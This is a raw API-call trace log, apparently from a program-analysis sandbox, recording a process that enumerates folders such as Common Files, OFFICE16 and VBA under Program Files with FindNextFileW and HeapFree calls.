	[0151.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.502] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0151.502] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0151.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.502] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0151.502] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0151.502] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0151.505] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0151.505] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0151.508] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0151.508] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0151.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.510] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0151.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.514] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0151.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.515] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0151.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.515] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0151.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.516] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0151.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.516] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0151.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.517] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0151.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.518] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0151.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.519] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0151.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.519] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0151.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.520] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0151.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.520] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0151.520] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.521] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0151.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.526] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.528] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0151.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.529] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0151.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.530] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0151.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.531] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0151.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.531] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0151.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.533] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0151.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0151.766] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0151.766] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0151.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.766] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0151.767] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.767] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0151.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.768] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0151.768] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0151.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.768] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0151.768] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.768] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0151.768] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0151.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.768] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0151.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.769] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0151.769] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0151.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.769] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0151.769] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0151.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.772] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0151.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
